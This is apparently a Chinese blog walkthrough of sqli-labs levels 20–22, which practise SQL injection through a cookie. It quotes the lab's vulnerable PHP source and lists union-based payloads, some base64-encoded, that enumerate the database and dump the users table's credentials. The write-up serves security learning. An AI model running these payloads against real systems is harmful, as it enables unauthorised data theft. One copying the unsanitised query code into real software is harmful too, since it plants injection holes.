sqli-labs 20-22 --cookie注入
异常处理
一开始打开这个题目的时候找不到cookie...
登录成功就是没有cookie
cookie注入没有cookie...
第二天重新做的时候,同学讲自己设置cookie可以用
用插件EditThiscookie添加
可以开始注入了!
知识点
cookie注入,简单地讲就是注入点在cookie。对于cookie的过滤总是不如直接传入的数据那么严格
做题过程
源代码(部分)
.
.
.
//前面的一部分对用户名和密码有严格过滤,但是这里可以看到是直接从header中获取数据
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";//没有对cookie做任何处理,直接传入了数据库
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());//打印出错误信息
}
.
.
.
测试字段
payload:' order by 3#
payload:' order by 4#
字段数为3
数据库
payload:'union select database(),database(),database()#
个人习惯,没有测回显在哪个字段,所有位置先填上database()
result:security
表
payload:'union select database(),database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
result:emails,referers,uagents,users
字段
payload:'union select database(),( select group_concat( column_name ) from information_schema.columns where table_name='users'),null#
result:id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
值
payload:'union select null,(select group_concat(id,0x3a,username,0x3a,password) from security.users),null#
result:1:Dumb:Dumb,2:Angelina:I-kill-you,3:Dummy:p@ssword,4:secure:crappy,5:stupid:stupidity,6:superman:genious,7:batman:mob!le,8:admin:admin
less-21
思路
基本和less-20是相同的,但是对于cookie有一个base64加密解密的过程,同时还用()把cookie包了起来,所以构造的时候注意下,把上面的复制粘贴base64就可以
关键源代码
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
payload:
1.Jykgb3JkZXIgYnkgMyM=
//') order by 3#
2.JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZGF0YWJhc2UoKSxkYXRhYmFzZSgpIw==
//') union select database(),database(),database()#
3.JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksZGF0YWJhc2UoKSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpIw==
//') union select database(),database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
4.JykgdW5pb24gc2VsZWN0IGRhdGFiYXNlKCksKCBzZWxlY3QgZ3JvdXBfY29uY2F0KCBjb2x1bW5fbmFtZSApIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnKSxudWxsIw==
//') union select database(),( select group_concat( column_name ) from information_schema.columns where table_name='users'),null#
5.JykgdW5pb24gc2VsZWN0IG51bGwsKHNlbGVjdCBncm91cF9jb25jYXQoaWQsMHgzYSx1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSxudWxsIw==
//') union select null,(select group_concat(id,0x3a,username,0x3a,password) from security.users),null#
less-22
思路
差不多,多了一个"
拼接,然后还是有base64加密解密,同上。
关键源代码
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
payload
1.b3JkZXIgYnkgMyM=
//" order by 3#
2.IiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSxkYXRhYmFzZSgpLGRhdGFiYXNlKCkj
//" union select database(),database(),database()#
3.IiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSxkYXRhYmFzZSgpLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5Jykj
//" union select database(),database(),(select group_concat(table_name) from information_schema.tables where table_schema='security')#
4.IiB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSwoIHNlbGVjdCBncm91cF9jb25jYXQoIGNvbHVtbl9uYW1lICkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2VycycpLG51bGwj
//" union select database(),( select group_concat( column_name ) from information_schema.columns where table_name='users'),null#
5.IiB1bmlvbiBzZWxlY3QgbnVsbCwoc2VsZWN0IGdyb3VwX2NvbmNhdChpZCwweDNhLHVzZXJuYW1lLDB4M2EscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMpLG51bGwj
//" union select null,(select group_concat(id,0x3a,username,0x3a,password) from security.users),null#
sqli-labs 20-22 --cookie注入的更多相关文章
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 注入语句详解(get注入,cookie注入,搜索型注入等)
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''=' 拆半法 ###################################### and exists (select ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- cookie注入
通常我们的开发人员在开发过程中会特别注意到防止恶意用户进行恶意的注入操作,因此会对传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的 ...
- 手工、工具分别实现cookie注入
最开始的判断access类型的网站注入点可以用“1 and 1=1”来判断. 不过现在的网站基本上被挡住了.之后呢,可以考虑cookie注入. Dim Tc_Post,Tc_Get,Tc_In,Tc_ ...
- cookie注入原理详解(一)
那我们还是围绕以下几个问题来看看cookie注入: 1.什么是cookie注入? 2.为什么要cookie注入? 3.怎样cookie注入? 1.什么是cookie注入? ♦cookie注入的原理是: ...
- Web攻防系列教程之 Cookie注入攻防实战
摘要:随着网络安全技术的发展,SQL注入作为一种很流行的攻击方式被越来越多的人所知晓.很多网站也都对SQL注入做了防护,许多网站管理员的做法就是添加一个防注入程序.这时我们用常规的手段去探测网站的SQ ...
- cookie注入原理
cookie注入原理-->红客联盟 http://www.2cto.com/article/201202/118837.html 前言: document.cookie:表示当前浏览器中的coo ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
随机推荐
- 如何在MathType输入手写体a
作为强大的数学公式编辑器,MathType中还能设置各种样式,还支持自定义设置,给大家编辑公式提供了更多的便利.那么有用户问:要如何将输入的字母a变为手写体呢?下面就来一起学习. 输入手写体a的步骤如 ...
- jmeter压测mysql数据库
jmeter连接并压测mysql数据库,之前一直想用jmeter一下测试mysql数据库的性能,今天偶然看到一篇博客,于是乎开始自己动手实践. 一.准备工作 1.安装好mysql数据库,可以安装在本地 ...
- python+requests之接口测试
最近学习接口测试,测试工具玩的差不多了,想用代码来尝试一下. 发现一个简单的库,requests 一:安装 pip install requests 二:使用 import requests url ...
- Eclipse中构造方法自动生成
代码中点击右键(快捷键Ctrl+Alt+S) ->Source ->Generate Constructor using Fields... ->默认全选(可选择需要作为构造方法参数 ...
- 经典算法—BF算法(字符串匹配)
前言 字符串的匹配算法也是很经典的一个算法,在面试的时候常常会遇到,而BF算法是字符串模式匹配中的一个简单的算法 1,什么是BF算法 BF算法,即暴力(Brute Force)算法,是普通的模式匹配算 ...
- Cys_Control(二) MButton
一.添加自定义Button 二.Xaml文件自动关联 Custom Control 取名与资源文件相同加.cs文件将自动关联 Themes文件下Generic.xaml引入该控件,用于对外公布样式 & ...
- 老猿学5G扫盲贴:中移动的5G计费架构中Nchf'服务化接口以及CHF中的AGF
专栏:Python基础教程目录 专栏:使用PyQt开发图形界面Python应用 专栏:PyQt入门学习 老猿Python博文目录 老猿学5G博文目录 一.关于Nchf' 在中移动企标中出现了在3GPP ...
- 第15.35节 PyQt编程实战:结合QDial实现的QStackedWidget堆叠窗口程序例子
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 一.案例说明 本案例是老猿在学习QStackedWidget中的一个测试案例,该案例使用QStack ...
- HTTP响应报文应答状态码及含义
本应答报文状态码是老猿结合多方资料收集综合后并加以老猿自己的理解进行说明的应答报文状态码,应该是最新最全解释最详尽的,供大家参考:
- buu学习记录(下)(做题是不可能做题的)
目录: easy_calc 禁止套娃 EasyWeb Babysqli Easyweb easy_serialize_php 我有一个数据库 SSRFme 枯燥的抽奖 EasyPHP 题目解析: ea ...